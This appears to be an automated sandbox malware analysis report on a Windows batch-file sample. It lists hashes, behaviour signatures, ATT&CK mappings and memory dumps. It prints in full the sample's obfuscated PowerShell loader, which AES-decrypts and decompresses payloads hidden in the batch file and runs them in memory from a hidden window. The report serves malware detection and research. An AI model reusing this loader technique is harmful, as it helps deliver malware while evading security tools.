081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22/08/2024, 10:37

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General

Target
081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat
Size 3.4MB
Sample240822-mn2ynssbqa
SHA256 081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39
MD5 e0b49da0d96e8c5214e9276be383177c
SHA1 acc2c37d489134c2186e95efaf7d3ea768a226f5
SHA512 b34944610642622ed45b1b09b4281e6d4b2f160c3b988aec2c254e2860cc1e5e40d6430057ea61fa323c8d99a32caeab50404c1d10baeb9a3b4bd12e6c068cee
SSDEEP 49152:iPZ9h8UbMrOvMl2axWm2aPRlAYydkm6uOwIM0A8Dqpb:C
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 292 wrote to memory of 2880	292	cmd.exe	29
PID 292 wrote to memory of 2880	292	cmd.exe	29
PID 292 wrote to memory of 2880	292	cmd.exe	29
PID 292 wrote to memory of 2244	292	cmd.exe	30
PID 292 wrote to memory of 2244	292	cmd.exe	30
PID 292 wrote to memory of 2244	292	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function krvoX($qfUzb){ $mgPVz=[System.Security.Cryptography.Aes]::Create(); $mgPVz.Mode=[System.Security.Cryptography.CipherMode]::CBC; $mgPVz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $mgPVz.Key=[System.Convert]::FromBase64String('xRkMWAT1uldEXK+LHs8FgxSd3tjb0CDR/qmLOT+Eew4='); $mgPVz.IV=[System.Convert]::FromBase64String('RdAogkuv6cVOJVqYg0tlnA=='); $KTEGP=$mgPVz.CreateDecryptor(); $PBmwa=$KTEGP.TransformFinalBlock($qfUzb, 0, $qfUzb.Length); $KTEGP.Dispose(); $mgPVz.Dispose(); $PBmwa;}function XUcba($qfUzb){ IEX '$ZRxrm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$qfUzb);'.Replace('*', ''); IEX '$kyGQg=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$jJBpR=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($ZRxrm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $jJBpR.CopyTo($kyGQg); $jJBpR.Dispose(); $ZRxrm.Dispose(); $kyGQg.Dispose(); $kyGQg.ToArray();}function dJKqw($qfUzb,$zcLjt){ IEX '$apikB=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$qfUzb);'.Replace('*', ''); IEX '$ybXvp=$apikB.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$ybXvp.*I*n*v*o*k*e*($null, $zcLjt);'.Replace('*', '');}$kzvdP = 'C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat';$host.UI.RawUI.WindowTitle = $kzvdP;$GYDJk=[System.IO.File]::ReadAllText($kzvdP).Split([Environment]::NewLine);foreach ($FUbJH in $GYDJk) { if ($FUbJH.StartsWith(':: ')) { $GufiU=$FUbJH.Substring(3); break; }}$zAGQw=[string[]]$GufiU.Split('\');IEX '$iNocK=XUcba (krvoX ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($zAGQw[0])));'.Replace('*', '');IEX '$VsMSG=XUcba (krvoX ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($zAGQw[1])));'.Replace('*', '');dJKqw $iNocK $null;dJKqw $VsMSG (,[string[]] ('')); "
  2⤵
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2244-4-0x000007FEF575E000-0x000007FEF575F000-memory.dmp

Download

memory/2244-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Download

memory/2244-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Download

memory/2244-7-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2244-8-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download

memory/2244-9-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Download